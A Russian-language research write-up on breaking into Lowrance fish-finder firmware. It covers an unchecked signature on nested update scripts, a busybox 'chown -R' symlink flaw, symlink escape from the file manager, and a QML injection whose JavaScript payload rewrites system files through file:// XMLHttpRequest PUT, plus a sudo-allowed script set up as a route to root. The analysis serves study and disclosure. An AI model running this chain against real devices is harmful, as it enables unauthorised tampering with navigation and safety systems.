Эхолот давно перестал быть просто прибором, показывающим рельеф дна или рыбу в толще воды. Сейчас это многофункциональный дисплей, своего рода мозговой центр лодки или катера, на который возлагается ведение картографии, управление двигателями, радио, подсветка, музыка и даже подача сигналов о бедствии или о человеке за бортом. При этом безопасность таких важных систем порой оставляет желать лучшего. О том, какие занимательные уязвимости я заметил в прошивке одного из таких приборов и почему проверка подписи на файле обновления ещё не защищает от вмешательства в ПО — под кат.

Дисклеймер: местами статья больше напоминает выдержки из личного дневника и содержит сведения, не относящиеся непосредственно к найденным уязвимостям; мне было интересно описать процесс исследования незнакомой мне ОС. Побочная справочная информация спрятана под спойлеры. Описание окончательного exploit chain начинается отсюда.

Некоторая вводная информация

Три года я занимался русификацией эхолотов Lowrance и Simrad. Русскоязычный пакет не поставляется свободно наравне с остальными, из‑за чего на рынке была популярна услуга его установки. Игроки на рынке использовали либо официальные подписанные обновления (в случае связей с дилерами), либо различного рода эксплойты; к последним относился и я. В августе этого года один из эксплойтов попал в публичный доступ, в связи с чем я наконец‑то могу описать и свой путь на этом стремительно исчезающем рынке.

В тему я попал в феврале 2023 по «приглашению» отца: он купил эхолот без русского языка. На рынке уже действовали два‑три мастера, способных решить эту проблему, но процедура предусматривала пересылку прибора. Прежде чем вверять увесистый и недешёвый прибор со стеклянным экраном службам доставки, отец решил озадачить этим вопросом меня.

Навыками взлома я тогда не обладал, за исключением реверса несложной игры‑песочницы из начала 2000-х и пары CTFок начального уровня. Передо мной — устройство с монолитным приложением‑комбайном, никаких намёков на сторонний софт, явно не Android или Windows. Классический эмбед. (В видео хорошо показан интерфейс и функционал прибора, минуты‑двух хватит, чтобы сложить представление)

Как изучить прошивку незнакомого прибора? Можно вскрыть, снять NAND/eMMC и считать. Это предложение получило разумный отказ. Вместо этого были найдены файлы обновления прошивки, содержащие то же самое ПО.

Что внутри апдейтеров?

Файлы обновлений.upd — не что иное, как tar с набором скриптов и файлов. В зависимости от модели rootfs поставляется либо в.tar.xz архиве, который распаковывается в ubifs (для девайсов с NAND‑памятью), либо в сжатом образе btrfs, который dd‑шится прямо в один из разделов eMMC. Ядро поставляется вместе с devicetree в традиционном для U‑Boot FIT (Flat Image Tree). Внутри ядра же initrd, скрипты которого монтируют разделы и передают управление init‑скриптам из rootfs, либо же запускают обновление.

Казалось очевидным: достаточно заменить какой‑нибудь из архивов с языками на таковой с русским. Естественно, очевидная идея оказалась нерабочей. Скрипт update.sh содержал sha1 для остальных файлов апдейтера, а к самому скрипту прилагается электронная подпись gpg, проверяемая ещё из initrd. Подмена файлов не сработает; многие пользователи форумов, желавшие влезть в свой эхолот, на этом и останавливались. Чисто гипотетически, систему можно обмануть, сынженерив коллизию для sha1 или сломав gpg, но с такими возможностями предполагаемому хакеру будут интересны совсем другие системы.

Самая очевидная ошибка

Подобно форумчанам я оставил эту затею и посвятил себя другим проектам. В следующий раз за эту задачу я взялся ближе к июню.

Выше я упоминал, что файл обновления — бесперспективный вектор атаки: все.upd генерируются автоматически и завязаны на подписанный скрипт с хэшами. На момент изначального погружения в тему это было неоспоримо, однако в свой второй забег я увидел совершенно другую картину: ещё в мае 2023 выходит обновление 23.3, но файл для Live весит вдвое больше привычного. Установка обновления теперь происходит не напрямую, а из вложенного в одну из двух директорий скрипта, а скрипт в корне архива лишь выбирает, какую из директорий использовать. Это не могло не вызвать интерес.

Почему это произошло?

Ещё в конце 2022 на рынок была выкачена новая ревизия одного из эхолотов (по счастливой случайности, именно нашего!) за несколько месяцев до снятия этой модели с производства. Вместо i.MX 6 в нём установлена процессорная плата с более мощным i.MX 8M Plus, eMMC‑памятью и так далее. То же железо мы увидели в вышедшем позднее HDS PRO, по сути поздние Live и были PRO. Чем было продиктовано такое решение, неясно; возможно, платы под Live просто закончились раньше планируемого анонса новой модели.

До пользователей информацию о появлении таких приборов доносить не стали. Фактически под одной моделью продаются два разных прибора, что и отразилось на апдейтере: внутри два обновления, а скрипт в корне определяет, какое из них устанавливать.

Обновление-матрёшка. И внешний, и внутренний скрипты подписаны
Обновление‑матрёшка. И внешний, и внутренний скрипты подписаны
А проверка этих подписей-то где?
А проверка этих подписей‑то где?

Интерес оправдался, разработчики допустили элементарную ошибку. Хотя gpg‑подписи для вложенных update.sh скриптов и были сгенерированы, во вполне человеческом скрипте в корне апдейтера эти подписи нигде не проверяются. Так и открывается возможность выполнить произвольный код ещё до загрузки большей части системы.

Эта уязвимость актуальна только для одной модели и позже не была использована. Я не отношу её к интересным и не стал бы писать статью ради одного абзаца про отсутствующую проверку подписей. Далее я разбираю прошивку более детально.

Первый софтбрик

На тот момент о коммерциализации находки речи не шло: «уроки русского» получил только отцовский прибор. Задача выполнена, так?

Во мне взыграла нотка перфекционизма. Русский язык для нашего прибора я взял из апдейтера на 20.1, последнего, в котором его ещё не удалили. Это отставало от актуальной версии 23.3 на три мажорных релиза. Большая часть интерфейса была переведена верно: сам перевод — Qt‑шный файл локализации.qm, поскольку весь графический интерфейс устройства есть Qt‑приложение. Старые файлы по большей части подходят к новым версиям софта, за исключением новых элементов интерфейса или смене английских формулировок, так как перевод привязан не к какому‑либо айди строки, а к английскому тексту.

Пример такого файла, открыт в Qt Linguist
Локализация привязана к оригинальным строкам на английском (иногда меняются) и названиям категорий (изменятся только при рефакторинге кода, то есть никогда)
Локализация привязана к оригинальным строкам на английском (иногда меняются) и названиям категорий (изменятся только при рефакторинге кода, то есть никогда)

Итого интерфейс был переведён где‑то на 90%, англоязычные пункты часто понятны из контекста. На этом можно было бы и закончить, но мне не давало покоя, что на «официальных» приборах был качественный актуальный русский перевод. Новой задачей было достать его оттуда.

Довольно быстро был найден знакомый с таким же прибором, но русскоязычным. Штатными средствами скопировать языковые файлы не казалось возможным: встроенный файловый менеджер показывал только содержимое /home/nos/NOS/userdata, тогда как языки лежали по пути /usr/share/NOS/translations (установленный в данный момент пакет) и /media/factorydata/translations (неактивные пакеты).

Файловый менеджер прибора

Не является отдельным приложением; перед нами одно из меню приложения‑монолита, отвечающего за весь графический интерфейс эхолота. Помимо отведённой под видимые пользователю файлы директории работает с SD‑картами и флешками. Заточен под импорт/экспорт файлов настроек, координат, также просмотр изображений и PDF. Допускается только удаление, переименование и копирование файлов. Создание новых папок или редактирование файлов невозможно.

План был таков:

  1. пользуясь тем, что разработчики подписали уязвимый к модификации апдейтер, собрать на его основе свой.upd, который установит изменённую rootfs с включенным telnet и своим паролем root;

  2. установить его на подопытный прибор; мы работаем с HDS Live, на котором /usr живёт на отдельном разделе, так как мы устанавливаем только rootfs, языки (/usr/share/NOS/translations) не будут перезаписаны;

  3. через telnet скопировать файлы на вставленную в прибор microSD.

Стоит ли говорить, что всё пошло совершенно не по плану. На тот момент мои познания этой ОС были весьма ограничены, а вот возможность перезаписать системные файлы или выполнить код уже была. Я оказался обыкновенным высшим приматом с ручным взрывчатым боеприпасом.

После установки модифицированного.upd прибор просто перестал загружаться.

На этом экране прибор зависал, не доходя до интерфейса
На этом экране прибор зависал, не доходя до интерфейса

В такой ситуации единственным способом спасти пациента без вскрытия был заблаговременно включенный telnet — кто же знал, что использовать его придётся для реанимации, а не для простого вытаскивания нужных файлов из прибора. К Wi‑Fi прибор также не подключался; необходимо было проводное подключение.

Вместо традиционного 8p8c для Ethernet приборы Lowrance оснащены проприетарным коннектором. Точных совпадений по диаметру и так далее я не нашёл, а самоделками разъёмы чужого прибора портить не хотелось. Пришлось раскошелиться на фирменный кабель за 5 т. р. — пока что самый дорогой Ethernet‑кабель в моей жизни — и ждать доставки.

Проприетарные разъёмы и коннекторы

Коннекторы претендуют на водостойкость: кольца‑прокладки для герметичности, фиксация завинчиванием. А вот с пинами инженеры на службе маркетологов покреативили. У конкурентов из Garmin механика водостойкого соединения такая же, но внутри — обыкновенный 8p8c.

Вообще, проприетарные разъёмы, протоколы и так далее — больная тема водомоторной техники. Документация к NMEA 2000, самому распространённому стандарту для связи между MFD, GPS‑приёмниками, компасами, датчиками топлива и другими судовыми устройствами, предоставляется за плату и под NDA. Тем не менее, благодаря реверс‑инжинирингу существует открытая документация от сообщества и проекты на её основе.

Разбор полётов

В ожидании спасительного шнура я принялся копаться в прошивке (наверное, стоило этим заняться до того, как я начал экспериментировать над приборами). Требовалось оценить масштаб проблемы: установить, на каком именно этапе загрузки прибор зависает. Основным источником информации о том, как же должен происходить процесс загрузки, являлись init скрипты (/etc/rc.d/...) из rootfs.

Хорошей уликой оказалась надпись «Update is being finalized» — она появляется и после штатной установки обновления, но перед загрузкой интерфейса на некоторое время исчезает. Тот факт, что она не пропадает, подсказывает нам, где застрял процесс загрузки.

Что мы узнали об этой надписи

Надпись — битмап, выводится на экран с началом обновления прошивки микроконтроллеров в приборе после обновления ОС. Через подключенные к GPIO процессора STM32 прибор взаимодействует с сонаром и CAN‑шиной, они и прошиваются. Также обновляется и GPS‑модуль.

Всё, что связано с микроконтроллерами, в том числе и обновление, запускается после инициализации сетевых интерфейсов и запуска telnet. Это дало чёткий ответ: если надпись об обновлении высвечивается, то и включенный нами telnet жив.

Удостоверившись, что telnet будет работать, оставшиеся дни до доставки я провёл уже спокойнее, в комфортном темпе изучая прошивку — пока только на уровне скриптов, к реверсу самих бинарей я тогда не приступил. Вкратце:

  • перед нами Linux‑система на основе Slackware;

  • libc — типичная для десктопов glibc, но вместо coreutils имеем busybox; запомним этот факт;

  • хотя процессор 64-битный, вся система собрана под 32-битный armhf;

  • до жути старые версии ядра; на приборе, продаваемом с 2018 по 2023, видим ядро 4.1.15 (то самое, из Терминатора) — 2015 год. На приборе 2023 года — 5.10.35 (2021 год). При этом от обновления к обновлению версия ядра не меняется. Возможно, здесь разработчики зависят от NXP, предоставляющей (или не предоставляющей) им новые board support package.

  • проприетарный видеодрайвер: процессоры iMX оснащены встроенной графикой Vivante. Существует открытый драйвер etnaviv, но тут он не используется;

  • весь графический интерфейс эхолота — монолитное приложение MFDApp на 67 мегабайт (!), динамически слинкованное с Qt.

Некоторые другие находки
Весьма много ссылок на корпоративный багтрекер
Весьма много ссылок на корпоративный багтрекер
Даже вики затесалась. Естественно, в интранете
Даже вики затесалась. Естественно, в интранете
  Креативные кодовые имена, соответствующие маркетинговым названиям моделей
Креативные кодовые имена, соответствующие маркетинговым названиям моделей

Резать кабель или сооружать переходник для подключения прибора к роутеру или компьютеру я не стал, а подключил его к «живому» и рутованному прибору с таким же разъёмом, который уже был подключен к Wi‑Fi. Логи ядра и приложений (читаются dmesg и logread соответственно) показали, что графическое приложение не стартует: насколько я помню, не грузился модуль графического драйвера, из‑за чего MFDApp вылетал. По неведомой мне причине я забыл, что раз на приборе установлена ещё прошивка 22.1 (включая ядро), а не 23.3, то и rootfs мне следует взять от 22.1.

Это определённо не самая красивая страница истории про эхолоты. Более того, вся эта авантюра впоследствии оказалась бесполезной, о чём я далее расскажу. (Естественно, за исключением поневоле полученных знаний об этой ОС) Больше таких ошибок я не совершал: только чёткая организация рабочего пространства, все манипуляции планируем и перепроверяем в голове, при необходимости берём листочек и ручку. Важно то, что с этого момента мне захотелось найти более простой эксплойт, который к тому же будет подходить для остальных моделей.

Наконец‑то интересные уязвимости

Здесь оговорюсь, что дальнейшие изыскания были направлены в первую очередь на русификацию остальных моделей (HDS PRO, Elite FS и др.) уже с прицелом на коммерцию; на фоне существования рынка соблазн выйти на него был слишком велик, чтобы сразу гнаться за ACE и запуском Doom на приборе. Тем не менее рут получен был, о чём я скоро расскажу.

Как мы ранее выяснили, текст, который видит пользователь, лежит в.qm файлах локализации в /usr/share/NOS/translations — владелец root:root, а на приборах, где /usr на отдельном разделе, он и вовсе примонтирован read‑only. Без получения рута туда ничего не записать. Но почему язык берётся именно из этой директории? Где прописан этот путь?

Содержимое /etc/skel/paths.ini из rootfs прибора.
Содержимое /etc/skel/paths.ini из rootfs прибора.

Похоже на то, что нам нужно. Через strace проверим, читает ли этот файл MFDApp:

root@HDSLive-ff-1e-4b:~# cp /home/nos/NOS/userdata/strace .
root@HDSLive-ff-1e-4b:~# chmod +x strace 
root@HDSLive-ff-1e-4b:~# /etc/rc.d/rc.app restart; while ! pidof MFDApp >/dev/null 2>&1; do sleep 0.1; done; ./strace -f -e trace=open,openat,read -p "$(pidof MFDApp)" 2>&1 | grep 'paths\.ini'
openat(AT_FDCWD, "/home/nos/paths.ini", O_RDONLY|O_LARGEFILE|O_CLOEXEC) = 3

Файл тот, путь другой. Вообще /etc/skel принято использовать для файлов, которые копируются в домашнюю директорию при создании пользователя. Может, и тут копия?

root@HDSLive-ff-1e-4b:~# ls -la /home/nos
drwxr-xr-x    5 nos      users         4096 Dec 17 08:22 ./
drwxr-xr-x    7 root     root          4096 Dec 17  2025 ../
...
lrwxrwxrwx    1 root     root            19 Dec 17  2025 paths.ini -> /etc/skel/paths.ini
-rw-r--r--    1 nos      users           10 Dec 17 07:16 serial_number
drwxr-xr-x    2 nos      users         4096 Dec 17  2025 wifi/

Почти: симлинк. При его удалении после перезагрузки он снова появляется. Посмотрим, что ещё есть в /etc/skel: на моей десктопной Fedora там есть.bashrc,.bash_profile. Что на эхолоте?

root@HDSLive-ff-1e-4b:~# ls -lR /etc/skel
/etc/skel:
drwxr-xr-x    1 root     root            24 Apr 10  2026 ./
drwxr-xr-x    1 nos      1000          1416 Dec 17  2025 ../
drwxr-xr-x    1 root     root            16 Apr 10  2026 NOS/
-rw-r--r--    1 nos      users          822 Dec 17 07:57 paths.ini

/etc/skel/NOS:
drwxr-xr-x    1 root     root            16 Apr 10  2026 ./
drwxr-xr-x    1 root     root            24 Apr 10  2026 ../
drwxr-xr-x    1 root     root            14 Apr 10  2026 userdata/

/etc/skel/NOS/userdata:
drwxr-xr-x    1 root     root            14 Apr 10  2026 ./
drwxr-xr-x    1 root     root            16 Apr 10  2026 ../
lrwxrwxrwx    1 root     root            26 Apr 10  2026 Manuals -> /media/factorydata/manuals/

Оригинальный paths.ini, директория под файловый менеджер, симлинк на инструкции... стоп. Почему у paths.ini владелец nos:users?

Перепроверяем rootfs, при копании в которой и был найден этот файл. Там всё в порядке: владелец root:root, как и у самой директории. Что‑то здесь не так.

Снова проверяем init‑скрипты в поисках всего, что как‑то связано с paths.ini. Возможный виновник найден:

При загрузке init_homedir проверяет корректность устройства домашней директории nos. Если симлинк не ресолвится до /etc/skel/paths.ini (переменная PATHS_INI, осталась за кадром), то он пересоздаётся, а мы запоминаем, что что‑то пришлось починить (modified=true). Эта же переменная используется и при пересоздании других файлов. В случае починки мы назначаем nos:users владельцем всех файлов и директорий внутри /home/nos рекурсивно — звучит логично, ведь создавались они от рута.

Здесь и закралась ошибка разработчиков. Поведение команды chown отличается между GNU coreutils и busybox. При использовании без аргументов на конкретном симлинке обе реализации работают с его таргетом. В рекурсивном же режиме (chown ‑R) coreutils работает с самими симлинками, а вот busybox их ресолвит. Этот вопрос поднимался в mailing lists busybox ещё в 2005. В 2007 busybox всё же стал копировать более безопасное поведение coreutils, но только в случае сборки с флагом CONFIG_DESKTOP (Enable compatibility for full‑blown desktop systems). Во многих embedded‑системах он намеренно не используется: как следует из описания, вместе с ним включаются и сложные или редко используемые режимы стандартных команд, что раздувает размер конечного бинаря, а busybox любят за его легковесность. Последняя ревизия стандарта POSIX (2024) оставляет этот вопрос на усмотрение авторов реализации.

Пока что уязвимость эксплуатируема только теоретически: права Unix‑пользователя ничего не дают, если всё, что у нас есть — пародия на файловый менеджер. Он, однако, остаётся самой перспективной точкой входа, так как другие способы связи прибора с внешним миром мне известны ещё не были. Ещё раз рассмотрим, что нам в нём доступно:

Это интересно. Директорию Manuals мы видели в /etc/skel — именно оттуда разобранная ранее функция init_homedir копирует файлы для инициализации домашней директории пользователя, — и там это симлинк:

lrwxrwxrwx    1 root     root            26 Apr 10  2026 Manuals -> /media/factorydata/manuals/

Выходит, ограничение файлового менеджера до отведённой ему директории не жёсткое. Вероятнее всего, следование симлинкам — задуманный функционал: мануал к прибору лежит в разделе, примонтированном read‑only для защиты от удаления, но при этом его надо как‑то показать пользователю.

Подготовим microSD с ext4 разделом и создадим симлинки на /etc, /home, /tmp и другие интересные пути. Сработает?

Через симлинк получаем доступ к содержимому /etc. За кадром остались симлинки к /home и /tmp.
Через симлинк получаем доступ к содержимому /etc. За кадром остались симлинки к /home и /tmp.

Бинго. Поэтому весь эксперимент с девайсом знакомого и был бесполезен: можно было просто вытащить языки из /usr/share/NOS/translations через симлинк.

Это расширяет возможности взаимодействия с прибором: свой paths.ini (содержимое не важно, подойдёт хоть пустой файл) копируем в /home/nos с заменой существующего файла; после перезагрузки init_homedir пересоздаст симлинк и передаст пользователю владение /etc/skel/paths.ini — затем мы заменяем уже его. Вместо Translations=/usr/share/NOS/translations/ новый paths будет содержать путь на доступную пользователю nos директорию, в которую мы и положим нужные нам файлы локализации. Так прибор станет русскоязычным без получения рута. Проверим:

Попытка копирования paths.ini в /etc/skel
Попытка копирования paths.ini в /etc/skel

Не всё так просто. Наш paths.ini не копируется в /etc/skel — мы получили права на файл, но не на директорию, в которой он находится:

root@HDSLive-ff-1e-4b:~# ls -lR /etc/skel
/etc/skel:
drwxr-xr-x    1 root     root            24 Apr 10  2026 ./
drwxr-xr-x    1 nos      1000          1416 Dec 17  2025 ../
drwxr-xr-x    1 root     root            16 Apr 10  2026 NOS/
-rw-r--r--    1 nos      users          822 Dec 17 07:57 paths.ini

— владелец директории всё ещё root. Копирование экивалентно созданию нового файла, для чего нужны права на директорию, а с правами на файл без его директории возможно только in‑place редактирование.

Здесь я зашёл в тупик и принялся изучать функционал прибора как многофункционального дисплея — по его изначальному предназначению. Что‑то из всего арсенала, в скомпилированном виде занимающем 67 мегабайт, должно же быть уязвимым?

Самой многообещающей находкой стала панель приборов (в оригинале — Instruments): в отличие от файлового менеджера, экрана сонара, вьюера карт и других элементов на базе QtWidgets, она реализована на QtQuick‑виджете внутри MFDApp.

Панель инструментов, вид пользователя
Панель инструментов, вид пользователя

В настройках она упоминается как некое расширение/приложение; похоже, разработчики планировали организовать экосистему сторонних приложений, работающих внутри монолита MFDApp и взаимодействующих с ним посредством некоторого API, но мне не удалось найти ничего о других приложениях, тем более сторонних. В прошивке прибора ему соответствует.rcc‑файл — динамически загружаемые ресурсы и скрипты.

С помощью https://github.com/zedxxx/rccextended он был разобран, ничего особенно интересного там не оказалось. Штатное API файловой системы (Navico/MFDAPI/FileSystem) работает только в пределах отведённой «приложению» директории, где оно хранит свои конфиги и какие‑то кэши. В этот раз доступа к внешним накопителям уже не было, так что трюки с симлинками тут неприменимы.

Интерес вызвало другое: после первого запуска в рабочей директории панели приборов появляются.qml:

root@HDSLive-ff-1e-4b:~# ls -la -R /home/nos/NOS/packages/com.Navico.Instruments/
/home/nos/NOS/packages/com.Navico.Instruments/:
drwxr-xr-x    3 nos      users         4096 Dec 17 10:36 ./
drwxr-xr-x    3 nos      users         4096 Dec 17 09:49 ../
drwxr-xr-x    3 nos      users         4096 Dec 17 10:36 appdata/

/home/nos/NOS/packages/com.Navico.Instruments/appdata:
drwxr-xr-x    3 nos      users         4096 Dec 17 10:36 ./
drwxr-xr-x    3 nos      users         4096 Dec 17 10:36 ../
drwxr-xr-x    3 nos      users         4096 Dec 17 10:36 templates/

/home/nos/NOS/packages/com.Navico.Instruments/appdata/templates:
drwxr-xr-x    3 nos      users         4096 Dec 17 10:36 ./
drwxr-xr-x    3 nos      users         4096 Dec 17 10:36 ../
drwxr-xr-x    2 nos      users         4096 Dec 17 10:37 instances/

/home/nos/NOS/packages/com.Navico.Instruments/appdata/templates/instances:
drwxr-xr-x    2 nos      users         4096 Dec 17 10:37 ./
drwxr-xr-x    3 nos      users         4096 Dec 17 10:36 ../
-rw-r--r--    1 nos      users         8326 Dec 17 10:37 Basic-Lowrance-thumb.png
-rw-r--r--    1 nos      users        96981 Dec 17 10:37 Basic-Lowrance.png
-rw-r--r--    1 nos      users         4122 Dec 17 10:36 Basic.qml
-rw-r--r--    1 nos      users          506 Dec 17 10:37 Digits2x2-Lowrance-thumb.png
-rw-r--r--    1 nos      users         3494 Dec 17 10:37 Digits2x2-Lowrance.png
-rw-r--r--    1 nos      users         2188 Dec 17 10:37 Digits2x2.qml
-rw-r--r--    1 nos      users         4424 Dec 17 10:37 Navigation-Lowrance-thumb.png
-rw-r--r--    1 nos      users        39004 Dec 17 10:37 Navigation-Lowrance.png
-rw-r--r--    1 nos      users         4078 Dec 17 10:37 Navigation.qml
-rw-r--r--    1 nos      users          783 Dec 17 10:37 Tanks-Lowrance-thumb.png
-rw-r--r--    1 nos      users         6238 Dec 17 10:37 Tanks-Lowrance.png
-rw-r--r--    1 nos      users          565 Dec 17 10:37 Tanks.qml
Пример .qml-файла, используемого для хранения настроек.
Пример.qml‑файла, используемого для хранения настроек.

Похоже, они используются для хранения настроек: QtObject — не визуальный элемент, документация в целом допускает такое использование, но не в контексте его сериализации/десериализации.

Откуда они берутся?

Часть скрипта инициализации приложения, взятого из.rcc‑файла панели приборов. Из некоторого Designer подгружаются элементы интерфейса (Basic, Digits2×2, Navigation, Tanks...); скорее всего, при загрузке рассчитываются размеры изображений, отступы и так далее. Затем рассчитанные размеры и позиции укладываются в QtObject, который сериализуется в.qml.

var __config = {
    ...
    "Lowrance": [
        "Basic",
        "Digits2x2",
        "Navigation",
        "Tanks"
    ]
};
var __app = null;
var __nullContainer = null;
var __previewItem = null;
var __process = [];
var __progressValue = 0;
var __progressValueMax = 1;

function init(app, nullContainer, previewItem, styleName)
{
    __app = app;
    __nullContainer = nullContainer;
    __previewItem = previewItem;

    var list = __config[styleName];
    __progressValue = 0;
    __progressValueMax = list.length;
    __process = [{ func: doStep, data: list }];
    return true;
}

function step()
{
    if (__process.length == 0)
        return 1.001;
    var cur = __process[0];
    __process = __process.slice(1);
    cur.func(cur.data);
    return Math.min(0.999, __progressValue / __progressValueMax);
}

function doStep(list)
{
    if (list.length === 0)
        return;

    var layouts = __app.getProperty("LayoutList");
    if (layouts === undefined)
        layouts = [];

    var name = list[0];
    Designer.reset();
    Designer.load(name, "templates", __nullContainer);
    Designer.save(name, "templates", name, "templates/instances");
    __previewItem.layoutSource = "templates/instances/" + name + ".qml";

    // Only add layout if it has not been added before
    var item = "instance:" + name;
    if (!layouts.includes(item))
    {
        layouts.push(item);
        __app.setProperty("LayoutList", layouts);
    }

    __process.push({ func: doScreenshot, data: name });
    __process.push({ func: doStep, data: list.slice(1) });
    __progressValue++;
}

При следующем открытии панели приборов объекты создаются динамически из созданных.qml‑файлов. В документации к свежему Qt чётко указано, что делать так не стоит:

Warning: Objects should not be dynamically created from untrusted sources. The limitations for static QML sources apply equally to dynamic object creation.

Разработчики MFDApp использовали файлы.qml для хранения настроек; для этого хватило бы и существующего в QtQuick решения, тем более, что в целом приложение хранит свои конфиги в QSettings, как положено. Мы же подсунем туда JavaScript:

import QtQuick 2.6

QtObject {
    property string title: "Tanks"
    property real referenceWidth: 1024
    property real referenceHeight: 680
    property list<QtObject> objects
    objects: [
        QtObject {
            objectName: "TankCluster"
            property string type: "TankCluster"
            property real x: 20
            property real y: 170
            property real index: 0
            property real width: 984
            property real height: 250
            property string mode: "level"
        }
    ]
    property bool locked: true

    Component.onCompleted: {
      // наш код
    }
}

Главным инструментом для нас будет XMLHttpRequest, поддерживаемый рантаймом QML. Через него можно стучаться не только к веб‑серверам; удивительно, но традиционно в Qt через XHR можно делать GET и даже PUT запросы к file:// — зияющая дыра в безопасности. Лишь в Qt 5.14 это поведение сделали конфигурируемым, а в 6.0 наконец отключили по умолчанию. Так как в стеке Navico используются LTS‑версии Qt 5, XHR к файлам там всё ещё работает: формально в 6.0 произошёл не патч уязвимости, просто изменение в дизайне API.

При обработке PUT запись идёт в существующий файл; новый файл не создаётся, это напрямую указано в коде. В точности то, что нам нужно.

С учётом этого «payload» выглядит так. Теперь файлы локализации будут браться из /home/nos/wifi. Можно взять любую директорию, доступную пользователю nos, но при этом невидимую из встроенного файлового менеджера без трюка с симлинками.

import QtQuick 2.6

QtObject {
    // здесь изначальное содержимое Tanks.qml...

    Component.onCompleted: {
        var r = new XMLHttpRequest(), s = "file:///etc/skel/paths.ini"
        r.open("GET", s, false)
        r.send()
        var t = r.responseText.replace("/usr/share/NOS/translations", "/home/nos/wifi")
        r.open("PUT", s, false)
        r.send(t)
    }
}

От начала до конца обкатываем на железе:

  1. готовим microSD с ext4 разделом, на нём симлинки на /home и на /etc/skel, а также директорию с нужными файлами локализации;

  2. в какую‑нибудь из подпапок /home/nos копируем языки, а /etc/skel/paths.ini копируем в /home/nos с заменой; при перезагрузке сменятся права на оригинальный paths.ini;

  3. заходим в панель приборов, сгенерируются qml‑конфиги; любой из них копируем из /home/nos/NOS/packages/com.Navico.Instruments/appdata/templates/instances на карту;

  4. добавляем в.qml наш JS‑payload (Component.onCompleted:...) и копируем с заменой обратно;

  5. перезагружаем прибор, снова заходим в панель приборов, qml‑приложение запустится, написанный нами обработчик сигнала onCompleted сработает.

После ещё одной перезагрузки в настройках нас встретит русский язык.

После перезагрузки
После перезагрузки

Докручиваем до ACE

Изначальная цель (русификация прибора без использования подложного апдейтера) выполнена. Однако, мне всё же было интересно выжать максимум из этой системы, уже успевшей удивить таким количеством просчётов. Это не так сложно и не требует долгого объяснения.

Вернёмся к paths.ini: помимо переводов там упоминается NOSHalWrapper=/usr/bin/nos-hal — явно путь к чему‑то исполняемому. Это оказывается shell‑скрипт на 11 КБ:

Скрипт, гордо называемый hardware abstraction layer

Швейцарский нож из множества режимов. Наверное, оправдывает своё название: многие из функций действительно связаны с хардварной частью прибора, например, управление сонаром или получение информации о типе памяти.

На самом деле этот HAL на скриптах значительно объёмнее, большая часть функционала вынесена в скрипты из /usr/libexec/nos‑hal. Сам /usr/bin/nos‑hal не выполняется от root — это было бы слишком просто, — а запускается MFDApp‑ом:

...
// создаём новый QProcess
QProcess::QProcess(aQStack_3c,(QObject *)0x0);
local_34 = QString::fromAscii_helper("nos-feature",0xb); // режим nos-hal
local_30 = QString::fromAscii_helper("remove",6); // режим скрипта nos-feature
local_2c = local_4c; // номер фичи, контекст не столь важен
// собираем список из других аргументов...
local_34 = QString::fromAscii_helper(<путь к скрипту>,7);
QProcess::start(aQStack_3c, local_34, <аргументы>); // запускаем.

(выше — пример вызова nos‑hal из MFDApp, псевдокод из Ghidra сокращён для наглядности)

Непривилегированное выполнение кода получить легко: добавим код, к примеру, рядом с get_factory_datestamp. Тогда он гарантированно выполнится при открытии пункт «О приборе» в меню настроек, для генерации которой nos‑hal вызывается с этим аргументом. Но как получить эскалацию привилегий? Внимание привлекает множество вызовов libexec‑скриптов с sudo ‑n — каждый из них можно найти в sudoers:

# list of allowed commands for nos user
nos		ALL = NOPASSWD:/etc/rc.d/rc.wifi
nos		ALL = NOPASSWD:/etc/rc.d/rc.bluetooth
nos		ALL = NOPASSWD:/etc/rc.d/rc.touch
nos		ALL = NOPASSWD:/etc/rc.d/rc.sxedl
nos		ALL = NOPASSWD:/bin/sh -c /etc/rc.d/rc.naviop stop
nos		ALL = NOPASSWD:/usr/bin/touchinfo
nos		ALL = NOPASSWD:/bin/mount -o rw -o remount /usr
nos		ALL = NOPASSWD:/bin/mount -o ro -o remount /usr
nos		ALL = NOPASSWD:/sbin/ip address *
nos		ALL = NOPASSWD:/usr/libexec/nos-hal/prepare-update
nos		ALL = NOPASSWD:/usr/libexec/nos-hal/sonar
nos		ALL = NOPASSWD:/usr/libexec/nos-hal/set-dhcp-mode
nos		ALL = NOPASSWD:/usr/libexec/nos-hal/language-pack
nos		ALL = NOPASSWD:/usr/libexec/nos-hal/nos-feature

Нам нужен скрипт, который в результате обработки специально подготовленных аргументов или чтения файлов запишет или выполнит что‑нибудь интересное со своими правами администратора. На поверку уязвимым оказался language‑pack. Разберём его:

Здесь придётся рассмотреть скрипт целиком
#!/bin/sh
set -u

source /lib/functions/mounts.sh
source /lib/functions/utils.sh

print_help() {
cat >&2 << EOF
Usage: language-pack MODE [OPTIONS]...

    reset [LANGUAGE]
        Performs a language reset, which removes all language files from
        the translations dir except english languages.
        If LANGUAGE is specified, then after reset installs the LANGUAGE pack
        into the translations dir.
        Returns zero on success, non-zero on failure.

Example:
language-pack reset standard

Navico language pack file manager.
EOF
}

lang_reset() {
    local lang="${1:-}"
    local trans_dir="$(get_key_value Translations "/home/nos/paths.ini" "/usr/share/NOS/translations")"
    local ret=0

    if [ -z "$trans_dir" ]; then
        return 1
    fi

    local trans_mnt="$(path_for_remount "$trans_dir" rw)"
    if [ -n "$trans_mnt" ]; then
        mount -o rw,remount "$trans_mnt"
    fi

    # Remove all language files from the translation directory except english
    find "$trans_dir" -maxdepth 1 -type f \( -name language_pack -o -name "*.qm" ! -name "*_en*" \) -delete

    if [ -n "$lang" ]; then
        # remove BurninClient due to space issues on some targets
        local burnin_bin=/usr/sbin/BurninClient
        if [ -r "$burnin_bin" ]; then
            local burnin_mnt="$(path_for_remount "$burnin_bin" rw 2>/dev/null)"
            if [ -n "$burnin_mnt" ]; then
                mount -o rw,remount "$burnin_mnt"
            fi

            rm -f "$burnin_bin"

            if [ -n "$burnin_mnt" ]; then
                mount -o ro,remount "$burnin_mnt"
            fi
        fi

        # install the new language pack
        local trans_file="/media/factorydata/translations/${lang}.tar.xz"
        if [ ! -r "$trans_file" ] || ! tar -C "$trans_dir" -xf "$trans_file"; then
            ret=1
            printf "unable to extract %s\n" "$trans_file" >&2
        fi
    fi

    sync
    if [ -n "$trans_mnt" ]; then
        mount -o ro,remount "$trans_mnt"
    fi
    return $ret
}

main() {
    case "${1:-}" in
    reset)
        shift
        lang_reset "$@"
        ;;
    --help)
        print_help
        ;;
    *)
        print_help
        exit 1
        ;;
    esac
}

main "$@"

